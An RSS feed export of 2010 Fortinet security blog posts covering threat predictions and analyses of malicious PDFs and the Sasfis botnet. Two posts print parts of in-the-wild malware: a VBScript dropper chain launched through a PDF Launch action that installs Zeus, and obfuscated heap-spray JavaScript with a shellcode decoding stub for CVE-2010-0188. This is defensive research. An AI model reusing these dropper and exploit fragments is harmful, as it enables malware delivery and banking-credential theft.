<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Fortinet Security Blog &#187; Research</title>
	<atom:link href="http://blog.fortinet.com/tag/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.fortinet.com</link>
	<description>Real Time Network Protection</description>
	<lastBuildDate>Wed, 01 Sep 2010 18:49:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9;Fortinet Product Marketing </copyright>
		<managingEditor>jleggio@fortinet.com (Fortinet Product Marketing)</managingEditor>
		<webMaster>jleggio@fortinet.com(Fortinet Product Marketing)</webMaster>
		<category>Fortinet Product Information</category>
		<ttl>1440</ttl>
		<itunes:keywords>forti-gate, anti-spam, anti-virus, fortigate</itunes:keywords>
		<itunes:subtitle>The latest news and information about Fortinet products and services for Real Time Network Protection.</itunes:subtitle>
		<itunes:summary>Fortinet is a leading provider of Unified Threat Management (UTM) network security solutions for enterprise and service provider environments. The Fortinet FortiCast delivers news, information, and tutorials about products, services, and industry trends. Fortinet's FortiGate product line and FortiGuard security subscription services provide an array of integrated network security functions including antivirus, firewall, virtual private networking, intrusion prevention (IPS), web filtering, antispam and traffic optimization. </itunes:summary>
		<itunes:author>Fortinet Product Marketing</itunes:author>
		<itunes:category text="Technology"/>
<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Fortinet Product Marketing</itunes:name>
			<itunes:email>jleggio@fortinet.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-300x300.jpg" />
		<image>
			<url>http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-144x144.jpg</url>
			<title>Fortinet Security Blog</title>
			<link>http://blog.fortinet.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Threat Prevention: 2010 and Beyond</title>
		<link>http://blog.fortinet.com/threat-prevention-2010-and-beyond/</link>
		<comments>http://blog.fortinet.com/threat-prevention-2010-and-beyond/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 22:47:38 +0000</pubDate>
		<dc:creator>RPopko</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Threat Landscape]]></category>
		<category><![CDATA[Dalai Lama]]></category>
		<category><![CDATA[derek manky]]></category>
		<category><![CDATA[IE zero day]]></category>
		<category><![CDATA[jbig2 zero-day pdf]]></category>
		<category><![CDATA[operation aurora]]></category>
		<category><![CDATA[threat prevention]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1399</guid>
		<description><![CDATA[This month,  Derek Manky, project manager, cyber security &#38; threat research at Fortinet  recorded an informative audio with Power Point presentation titled: “Threat Prevention: 2010 and  Beyond.” This extremely enlightening discussion examines four real-world  vulnerabilities (Dalai Lama, JBIG2 Zero-Day PDF, Operation Aurora and IE Zero  Day) their timelines, what happened [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Calibri','sans-serif';">This month,  Derek Manky, project manager, cyber security &amp; threat research at Fortinet  recorded an informative audio with Power Point presentation titled: “<a title="blocked::http://www.brighttalk.com/webcast/21721" href="http://www.brighttalk.com/webcast/21721">Threat Prevention: 2010 and  Beyond</a>.” This extremely enlightening discussion examines four real-world  vulnerabilities (Dalai Lama, JBIG2 Zero-Day PDF, Operation Aurora and IE Zero  Day) their timelines, what happened with these vulnerabilities, how the attacks  occurred and what the payload was. Derek then concludes with examples of how you  can best protect your network from becoming compromised by applying a strategic  and layered approach to security. Click the screenshot below to view the presentation.</span></p>
<p><span style="font-size: 11pt; font-family: 'Calibri','sans-serif';"><a href="http://www.brighttalk.com/webcast/21721"><img class="alignnone size-full wp-image-1400" title="Threat Prevention 2010 screenshot" src="http://blog.fortinet.com/wp-content/uploads/2010/07/Threat-Prevention-2010-screenshot.JPG" alt="Threat Prevention 2010 screenshot" width="460" height="365" /></a><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/threat-prevention-2010-and-beyond/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fret the Threat: 2010 Predictions Realized</title>
		<link>http://blog.fortinet.com/fret-the-threat-2010-predictions-realized/</link>
		<comments>http://blog.fortinet.com/fret-the-threat-2010-predictions-realized/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 16:25:22 +0000</pubDate>
		<dc:creator>DManky</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cloud security]]></category>
		<category><![CDATA[flash crash]]></category>
		<category><![CDATA[predictions]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Threat Landscape]]></category>
		<category><![CDATA[threats]]></category>
		<category><![CDATA[Virtualization]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1369</guid>
		<description><![CDATA[In January 2010, the Fortinet’s FortiGuard Labs threat researchers issued a report outlining their predictions for The Top 10 Security Trends for 2010. Now that we’re midway through the year, we thought it would be interesting to see how right (or wrong) we were and if anything completely unexpected has come up along the way. [...]]]></description>
			<content:encoded><![CDATA[<p>In January 2010, the Fortinet’s FortiGuard Labs threat researchers issued a report outlining their predictions for <a href="http://www.cxotoday.com/India/Market_Scan/Top_10_Security_Trends_for_2010/551-108319-1009.html">The Top 10 Security Trends for 2010</a>. Now that we’re midway through the year, we thought it would be interesting to see how right (or wrong) we were and if anything completely unexpected has come up along the way. The following report spells out the trends the team predicted at the beginning of the year and concludes with comments on where each threat exists today.</p>
<p><strong>1) Security, Virtually Speaking</strong></p>
<p><strong>January 2010: </strong>“Preventing infections from cross pollinating between virtual machines will be key in securing virtual movements of servers.”</p>
<p><strong>June 2010: </strong>With the ongoing progression of virtualization, it indeed becomes important to treat each virtual machine as if it were a physical box. For example, a worm could easily hop inter-VM on the same machine to another machine that has a completely different set of access credentials, creating a more potent infection. Virtualization adds another level of complexity, further widening the security gap. We have seen some interesting developments this year, including <a href="http://blog.fortinet.com/flash-player-vmware-vulnerability/">a unique Flash crash</a> (potentially exploitable) that only occurs in a virtualized environment.</p>
<p><strong> </strong></p>
<p><strong>2) Information, Protect Thyself</strong></p>
<p><strong>January 2010: </strong>“Information-centric security, rather than container-centric security, will be necessary in the next decade as access to data will continue to evolve outside the traditional network.”</p>
<p><strong>June 2010: </strong>We are now knee-deep in digital storage. Information can be stored anywhere: digital cameras, printers, picture frames, thumb drives, laptops / netbooks, etc. The number of containers is growing, while the sensitive information remains relatively the same. This is precisely why enterprises and administrators need to think about policies and a security framework that police information as it comes into and out of the network, no matter what the container.</p>
<p><strong> </strong></p>
<p><strong>3) Get Your Head, Not Your Security, Out of the Cloud</strong></p>
<p><strong>January 2010: </strong>“Adopting cloud-based services opens organizations up to many risks and vulnerabilities as information travels to and from protected networks via a public pipe, creating many more opportunities for data infection or theft.”</p>
<p><strong>June 2010: </strong>Information continues to flow through public pipes. For example, Facebook has now introduced social plug-ins. Information that is already available from one source is bound to be integrated to other public platforms, spreading potentially sensitive data though cyber space. Once information leaves your fingertips, it becomes very difficult−if not impossible−to control. Thus, it is extremely important to safeguard your information before it leaves your fingertips and ultimately your data store/network.</p>
<p><strong> </strong></p>
<p><strong>4) Don’t Throw the Apps Out with the Bath Water</strong></p>
<p><strong>January 2010: </strong>“Second-layer security will be adopted to help enterprises have better application control beyond just allow or not allow.”</p>
<p><strong>June 2010: </strong>As a packet travels, it will be shaped frequently. Second-layer (“layered”) security can be thought of as a waterfall filtering process with each tier able to extract hazardous material before it makes it to the next step. An example scenario with application control would be legitimate application traffic making it through the “allow policy,” only to abuse the application as the traffic arrives at the client. Intrusion prevention would be a good second-layer security mechanism in this example. We continue to see more vulnerabilities discovered and exploited in legitimate applications, further driving the need for layered security.</p>
<p><strong> </strong></p>
<p><strong>5) Security and Network Services Aren’t Strange Bedfellows</strong></p>
<p><strong>January 2010: </strong>“A natural evolution with the trend in consolidating network devices is to integrate more network functionality into security devices.”</p>
<p><strong>June 2010: </strong>Fortinet has been following this trend for years, and continues to do so after pioneering the drive towards true unified threat management (UTM). For example, Fortinet&#8217;s FortiGate appliance allows both application control and intrusion prevention on one device. While they both have different goals, the underlying packet inspection technology allows enhancement on both sides.  As the attack surface grows, appropriate security technology needs to be developed to counter-attack. Integration of these technologies and ease of management is critical for threat mitigation from an administrative standpoint. Without this approach, counter-attack simply becomes exhaustive and wastes otherwise valuable resources.</p>
<p><strong> </strong></p>
<p><strong>6) CaaS vs. SaaS</strong></p>
<p><strong>January 2010: </strong>“Cybercriminals will take a page from the new security-as-a-service (SaaS) business model to implement their own crime-as-a-service approach, a criminal “environment for hire,” so to speak.”</p>
<p><strong>June 2010: </strong>Crime services have been openly available in 2010, most notably through the use of simplified botnets &#8211; loader software that downloads and executes malware. These botnets will then report statistics back for quality control, so that the operators selling services (&#8221;loads&#8221;) can inform their customers when and where their malicious software was installed. We also continue to observe the Cutwail spam bot being distributed with different identification numbers. These are customer IDs, with each hired bot sending spam for the customers who bought them.</p>
<p><strong>7) Scareware and Affiliates Find New Ground</strong></p>
<p><strong>January 2010: </strong>“With consumers becoming wise to scareware, cybercriminals are expected to up the stakes in 2010 by holding consumers’ digital assets hostage for ransom.”</p>
<p><strong>June 2010: </strong>The rise of ransomware is no longer a myth, it&#8217;s a reality. We have witnessed several variations of ransomware emerge in 2010, from SMS-based locks to ones that kill applications until the user has paid the recovery fee. Detection levels have grown stronger in 2010, with variations of ransomware making their way into our top ten threat listings. While volume increases, attack strategy and technology continues to grow increasingly sophisticated. Combine this with solid encryption algorithms, and there is no doubt that ransomware will continue to plague cyberspace as we move through the remainder of 2010 and beyond.</p>
<p><strong>8) Money Mules Multiply</strong></p>
<p><strong>January 2010: </strong>FortiGuard said, “Unwitting consumers may find themselves accessories to a crime as cybercriminals find new “mules” to launder their ill-gotten gains.”</p>
<p><strong>June 2010: </strong>We have observed numerous instances of this trend and highlighted several examples in <a href="http://www.fortiguard.com/ListOfArticles.html">our threat reports</a>. These socially-engineered attacks dupe users into fraudulent jobs that may sound innocent by description. Typically, the recurring job descriptions we observed in 2010 were accounts receivable ones, which involved the candidate receiving and forwarding funds while taking commission. Be very cautious of such promises, as there are legal implications &#8211; if it sounds too good to be true, it generally is.</p>
<p><strong>9) Multiple Platforms in the Crosshairs:</strong></p>
<p><strong>January 2010: </strong>“With a growing number of users on new platforms, cybercriminals will target their attacks beyond Microsoft Windows.”</p>
<p><strong>June 2010: </strong>As predicted, we have seen an increase in mobile threat activity. Symbian OS still remains a favored attack platform &#8211; viruses like <a href="http://blog.fortinet.com/tag/symbosyxes/">Yxes</a> are becoming more increasingly sophisticated while others, such as <a href="http://blog.fortinet.com/reversing-the-symbian-enoriv-malware/">Enoriv</a>, are just starting to emerge. As other operating systems such as Android continue to gain momentum, they, too, could shortly pose similar threats.</p>
<p><strong>10) Botnets Hide through Legit Means</strong></p>
<p><strong>January 2010: </strong> “Botnets will no longer just obfuscate their binary codes to escape detection. Instead, they will piggyback on legitimate communications vehicles to propagate and cloak activities.”</p>
<p><strong>June 2010: </strong>This year we have described several new botnets that have come into scope, each using common protocols such as HTTP to do their dirty work. On top of this, botnets, which existed before 2010, continue to remain strong and develop their protocols to obfuscate activity. This is big business and seemingly has become a primary focus for botnet developers.</p>
<p>A new development we discovered this year was Webwail, a Web-based scripting engine that can create accounts through the Web (such as Yahoo, Hotmail, GMail, etc) and then spam through them. In order to do this, <a href="http://en.wikipedia.org/wiki/Captchas">CAPTCHAs</a> are cracked dynamically (another example of demand for a CaaS market) by a third party, so that the Web bot may proceed as if it were human. While we have only observed Webwail to create and send spam, our analysis indicates it is much more capable. For example, it could easily spam through social networks. Other new developments include mobile threats and heavy use of document-based exploits through PDF and Flash. For more information on these, please refer to our <a href="http://www.fortiguard.com/">FortiGuard Center</a> and <a href="http://blog.fortinet.com/">Blog</a> which is regularly updated to feature such content.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/fret-the-threat-2010-predictions-realized/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>0day or not today: exploit in the wild</title>
		<link>http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/</link>
		<comments>http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/#comments</comments>
		<pubDate>Tue, 04 May 2010 21:17:19 +0000</pubDate>
		<dc:creator>Bing Liu</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Intrusion Prevention]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Bing Liu]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[Zeus]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1170</guid>
		<description><![CDATA[Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a trick technique to make it more practical, &#8220;in the real world&#8221;.
In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, [...]]]></description>
			<content:encoded><![CDATA[<p>Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a <a href="http://blog.didierstevens.com/2010/03/29/escape-from-pdf/">trick technique</a> to make it more practical, &#8220;in the real world&#8221;.</p>
<p>In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was <a href="http://blogs.adobe.com/adobereader/2010/04/didier_stevens_launch_function.html">investigating</a> this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all&#8230; and although CVE number <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1240">CVE-2010-1240</a> is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction.</p>
<p>0day or not, and vulnerability or not, it *is* a threat either was &#8211; and Fortinet provided protection for the customer: &#8220;<a href="http://www.fortiguard.com/encyclopedia/virus/pdf_pidief.bv%21exploit.html">PDF/Pidief.BV!exploit</a>&#8221; for AV and &#8220;<a href="http://www.fortiguard.com/encyclopedia/vulnerability/pdf.with.launch.action.html">PDF.With.Launch.Action</a>&#8221; for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild.</p>
<p>The malicious PDF document source code looks like the following:<br />
<a rel="attachment wp-att-1171" href="http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/doc/"><img class="alignnone size-full wp-image-1171" src="http://blog.fortinet.com/wp-content/uploads/2010/05/Doc.bmp" alt="PDF source" width="473" height="307" /></a></p>
<p>Following is what you will see when open this PDF with latest Adobe Reader (9.3.2).<br />
<a rel="attachment wp-att-1172" href="http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/look/"><img class="alignnone size-full wp-image-1172" src="http://blog.fortinet.com/wp-content/uploads/2010/05/look.bmp" alt="PDF look" width="575" height="263" /></a></p>
<p>When you click the button &#8220;Open&#8221;, the following is executed:</p>
<p><em> /P (/c echo Set fso=CreateObject(&#8221;Scripting.FileSystemObject&#8221;) &gt; script.vbs [...Truncated...] &amp;&amp; script.vbs &amp;&amp; batscript.vbs</em></p>
<p>This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following:</p>
<p><em> Set fso=CreateObject(&#8221;Scripting.FileSystemObject&#8221;)<br />
Set f=fso.OpenTextFile(&#8221;doc.pdf&#8221;, 1, True)<br />
pf=f.ReadAll<br />
s=InStr(pf,&#8221;&#8216;SS&#8221;)<br />
e=InStr(pf,&#8221;&#8216;EE&#8221;)<br />
s=Mid(pf,s,e-s)<br />
Set z=fso.OpenTextFile(&#8221;batscript.vbs&#8221;, 2, True)<br />
s = Replace(s,&#8221;%&#8221;,&#8221;")<br />
z.Write(s)</em></p>
<p>Basically, it merely extracts an embedded &#8220;batscript.vbs&#8221; in the PDF document and drops it in the current directory. This &#8220;batscript.vbs&#8221; contains the following:</p>
<p><em> Dim b<br />
Function c(d)<br />
c=chr(d)<br />
End Function<br />
b=Array(c(077),c(090),c(144),[Truncated]<br />
Set fso = CreateObject(&#8221;Scripting.FileSystemObject&#8221;)<br />
Set f = fso.OpenTextFile(&#8221;game.exe&#8221;, 2, True)<br />
For i = 0 To 35328<br />
f.write(b(i))<br />
Next<br />
f.close()<br />
Set WshShell = WScript.CreateObject(&#8221;WScript.Shell&#8221;)<br />
WshShell.Run &#8220;cmd.exe /c game.exe&#8221;<br />
WScript.Sleep 3000<br />
Set f  = FSO.GetFile(&#8221;game.exe&#8221;)<br />
f.Delete<br />
Set f  = FSO.GetFile(&#8221;batscript.vbs&#8221;)<br />
f.Delete<br />
Set f  = FSO.GetFile(&#8221;script.vbs&#8221;)<br />
f.Delete</em></p>
<p>This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information.</p>
<p>All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click &#8220;open&#8221;.</p>
<p>Fortinet detect game.exe as <a href="http://www.fortiguard.com/encyclopedia/virus/w32_agent.djbn%21tr.html">W32/Agent.DJBN!tr</a> and the Zeus bot instance as <a href="http://www.fortiguard.com/encyclopedia/virus/lookup.html?id=1778717">W32/Zbot.AISS!tr</a>. A detailed <a href="http://www.fortiguard.com/analysis/zeusanalysis.html">analysis of the Zeus Botnet</a> is avalaible on the <a href="http://www.fortiguard.com/">Fortiguard Center</a>.</p>
<p><strong>Guillaume Lovet contributed to this post.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/0day-or-not-today-exploit-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CVE-2010-0188: Exploit in the wild</title>
		<link>http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/</link>
		<comments>http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 18:21:51 +0000</pubDate>
		<dc:creator>Bing Liu</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[adobe pdf]]></category>
		<category><![CDATA[cve-2010-0188]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1064</guid>
		<description><![CDATA[If you haven&#8217;t yet installed the latest patch apsb10-07 for your Adobe Reader and  Acrobat, you should hurry. The exploit is in the wild! In this post I  will dissect a PDF document (MD5: 48e0cc8629d492a64a2767949d2ed9bc),  indeed found in the wild, that leverages CVE-2010-0188 in order to  install a backdoor in your [...]]]></description>
			<content:encoded><![CDATA[<p>If you haven&#8217;t yet installed the latest patch <a id="eikm" title="apsb10-07" href="http://www.adobe.com/support/security/bulletins/apsb10-07.html">apsb10-07</a> for your Adobe Reader and  Acrobat, you should hurry. The exploit is in the wild! In this post I  will dissect a PDF document (MD5: 48e0cc8629d492a64a2767949d2ed9bc),  indeed found in the wild, that leverages CVE-2010-0188 in order to  install a backdoor in your Microsoft Windows system. Fortinet detected  this sample as PDF/Adbtiff.A!exploit.CVE20100188. The test environment  is Adobe Reader 9.3.0 in Microsoft Windows XP SP3.</p>
<p>The key for  cybercriminals to exploit CVE-2010-0188 here is to embed a malicious  TIFF image in the PDF document (figure 1.1):</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/d8bjwg5_26ftzfqng8_b.bmp"><img class="alignnone size-full wp-image-1066" title="d8bjwg5_26ftzfqng8_b" src="http://blog.fortinet.com/wp-content/uploads/2010/03/d8bjwg5_26ftzfqng8_b.bmp" alt="d8bjwg5_26ftzfqng8_b" width="521" height="284" /></a></p>
<p>The uncompressed and decoded Tiff image reveals the real attack vector  (Figure 1.2): The count value in DotRange.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/2.bmp"><img class="alignnone size-full wp-image-1067" title="2" src="http://blog.fortinet.com/wp-content/uploads/2010/03/2.bmp" alt="2" width="458" height="323" /></a></p>
<p>The vulnerable plugin AcroForm.api (version 9.0.148) use this count  value without sufficient sanitization. While the target buffer is a two  bytes field on the stack, a memcpy instruction (in purple below) copies  the 100 DotRange values (200 bytes) there.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/3.bmp"><img class="alignnone size-full wp-image-1068" title="3" src="http://blog.fortinet.com/wp-content/uploads/2010/03/3.bmp" alt="3" width="544" height="296" /></a></p>
<p>As a matter of course, this  effectively smashes the stack and overwrites the return address with the  value 0&#215;0C0C0C0C.</p>
<p>It is time to have a look at the  Javascript embed in this PDF. Following is part of the decompressed  JavaScript stream:<br />
<em>var  ____ = unescape;<br />
var  _c1 =                  &#8221;\x6c\x65\x6e\x67\x74\x68&#8243;;<br />
function _____(__){var _=&#8221;;for(var  ___=0;___&amp;lt;__[_c1];___+=4) _+=&#8217;%'+&#8217;u'+__.substr(___,4);return _;}<br />
function      rep(_    ,    __)    {    var ___    =    &#8221;"    ;    while (     &#8211;_&amp;gt;=    0) ___    +=     __    ;    return     ___;}<br />
var          sc=        ____        (     _____(&#8221;9090909090909090EB905E1a5B56068a303c1674E0c04604268aE480020f88c443&#8230;[truncated]))<br />
function  uuu(){<br />
_ = rep(128, ____    (_____        (&#8221;42424242424242424242&#8243;)))  + sc;<br />
_0 =             ____        (    _____(&#8221;0c0c0c0c&#8221;));<br />
_1 =  20    +_[_c1];<br />
while (_0[    _c1]&amp;lt;_1) _0+=_0;<br />
_2     =      _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,     _1);<br />
_3     =      _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, _0[_c1    ]-_1);<br />
while(_3[_c1]      +  _1&amp;lt;0&#215;80000) _3         = _3+    _3+_2;<br />
_4= new Array();<br />
for(i=0;i&amp;lt;=192;i=i+1)     _4[i]                =_3        +_;<br />
}<br />
uuu();</em></p>
<p>This  rather nastily obfuscated JS code simply sprays the heap with an encoded  shellcode and its matching decoding stub, so that the return value  above (0&#215;0C0C0C0C) leads to the stub execution, as shown below:</p>
<p><em>0C0C0C0C     0C 0C                    or      al, 0C<br />
[...]<br />
0C10FB26     90                       nop<br />
0C10FB27    EB 1A                     jmp     short 0C10FB43<br />
0C10FB29    5E                       pop      esi<br />
0C10FB2A    56                       push    esi<br />
0C10FB2B     5B                       pop     ebx<br />
0C10FB2C     8A06                     mov     al, byte ptr ds:[esi]<br />
0C10FB2E    3C  30                    cmp     al, 30<br />
0C10FB30    74  16                    je      short 0C10FB48; jump to decoded shellcode<br />
0C10FB32     C0E0 04                  shl     al, 4<br />
0C10FB35     46                       inc     esi<br />
0C10FB36     8A26                     mov     ah, byte ptr ds:[esi]<br />
0C10FB38     80E4 0F                  and     ah, 0F<br />
0C10FB3B     02C4                     add     al, ah<br />
0C10FB3D     8803                     mov     byte ptr ds:[ebx], al<br />
0C10FB3F     43                       inc     ebx<br />
0C10FB40     46                       inc     esi<br />
0C10FB41  ^ EB  E9                    jmp     short 0C10FB2C<br />
0C10FB43    E8  E1FFFFFF              call    0C10FB29</em>; Decoding following shellcode<br />
[...]</p>
<p>Then,  the hand is passed to the decoded shellcode, which starts&#8230; a decoding  loop. This one decrypts a file (simple xor encryption, see figure  below) before effectively dropping it as &#8220;C:\a.exe&#8221; and starting it.<br />
The  content of a.exe is also stored in the PDF file.</p>
<p>Figure 1.4  shows the code do the decoding, drop and run the  &#8220;C:\a.exe&#8221; (MD5:  779211676c099f81739e4320cbdce983).</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/4.bmp"><img class="alignnone size-full wp-image-1069" title="4" src="http://blog.fortinet.com/wp-content/uploads/2010/03/4.bmp" alt="4" width="441" height="316" /></a></p>
<p>Fortinet detects &#8220;a.exe&#8221; as W32/Emogen.DHLY!tr.dldr.</p>
<p>By the way,  the shellcode use a very simple logic to find the PDF file handle  (necessary for droping a.exe, which sits encrypted in the PDF file): It  considers it is the first file opened in this process and have a size  larger than 1000h. This logic may make mistake and lead to a crash.</p>
<p>Finally,  &#8220;a.exe&#8221; does the followingl:<br />
1. Move itself to &#8220;C:\Documents and  Settings\Current User\Local Settings&#8221; and add an entry in the registry  under key  &#8220;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#8221; for  running upon reboot.<br />
2.Prepare memory for code injection<br />
3.Start  svchost.exe and inject code in the created process</p>
<p>The poisonned  &#8220;svchost.exe&#8221; in turns connect to a fixed IP and receive/execute  commands, like a good old backdoor.</p>
<p>It must be noted, however,  that this exploit will fail if you disable Javascript or enabling  hardware-enforced DEP. Yet, a researcher named &#8220;villy&#8221; recently released  in his <a id="hz-o" title="Blog post" href="http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html">Blog post</a> a proof of concept version  (that just launches windows calculator&#8230;) that bypasses such  protections &#8212; Disabling JavaScript and hardware-enforced DEP would not  protect you from an attack using a similar strategy.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Cryptanalysis of the Sasfis Registry Key</title>
		<link>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/</link>
		<comments>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 17:10:41 +0000</pubDate>
		<dc:creator>DMacDonald</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[sasfis]]></category>
		<category><![CDATA[sasfis registry key]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1038</guid>
		<description><![CDATA[Recently I&#8217;ve been working on an analysis of Sasfis botnet communications. During the tests I noticed that when the bot installs itself, it adds a registry key named &#8220;idid&#8221;, with some random looking data in it. The data was added under the name &#8220;url0&#8243;, so it seemed like it must be an encrypted URL. Here [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I&#8217;ve been working on an analysis of <strong>Sasfis</strong> botnet communications. During the tests I noticed that when the bot installs itself, it adds a registry key named <strong>&#8220;idid&#8221;</strong>, with some random looking data in it. The data was added under the name <strong>&#8220;url0&#8243;</strong>, so it seemed like it must be an encrypted URL. Here is an example from one of the bot variants:</p>
<p><span style="font-family: courier new">Key Name:          HKEY_CLASSES_ROOT\<strong>idid</strong></span></p>
<p><span style="font-family: courier new"> Name:            <strong>url0</strong></span></p>
<p><span style="font-family: courier new">00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17</span></p>
<p><span style="font-family: courier new">00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71</span></p>
<p><span style="font-family: courier new">00000020   a4 98 ba d8  2c 85 17 ad  ce c0 b1 a5  9f c8 07 0b</span></p>
<p>But what URL could this be, if it is one? Most of these bytes are not in the normal text range, so it would have to be encrypted. Even when there was no network connection, the <strong>url0</strong> data was added, so I knew it must be hard coded into the bot. From the tests I had been doing, I also knew that the bot contained a hard coded URL for its Command and Control server. So it seemed possible that the C&amp;C URL was encrypted here, but of course I would have to prove that.</p>
<p>The first 16 bytes of the <strong>url0</strong> values, from six bot tests, with their <strong>test identifiers (T3, M2 etc.)</strong>, are listed below. The list is sorted by the opening bytes. They fall into two groups where the first seven bytes are identical. The <strong>T2</strong> data is slightly different from the ones below it, but the one different byte (<strong>f1</strong>) could be the result of an encryption error.</p>
<p><span style="font-family: courier new">T3   <span style="color: #0000ff">1e 9b 6d d8  89 e6 c4</span> 50  7f fd 13 6b  fa e2 f4 17</span></p>
<p><span style="font-family: courier new">M2   <span style="color: #0000ff">1e 9b 6d d8  89 e6 c4</span> 5f  60 ff 12 7b  bd ea f3 4c</span></p>
<p><span style="font-family: courier new">T2   f1 <span style="color: #ff0000">9b 20 62  fc 48 d0</span> 3e  27 fc 1d f7  94 5a ff 3f</span></p>
<p><span style="font-family: courier new">T1   <span style="color: #ff0000">f8 9b 20 62  fc 48 d0</span> 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new">M1   <span style="color: #ff0000">f8 9b 20 62  fc 48 d0</span> 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new">M5   <span style="color: #ff0000"><span>f8 9b 20 62  fc 48 d0</span></span> 2b  2a fd 17 e2  87 46 ea 7e</span></p>
<p>Looking at this, it seems fairly likely that each group was encrypted with the same key. And if these are URLs, the seven common bytes at the beginning of each line could be <strong>&#8220;http://&#8221;</strong>, if we are on the right track.</p>
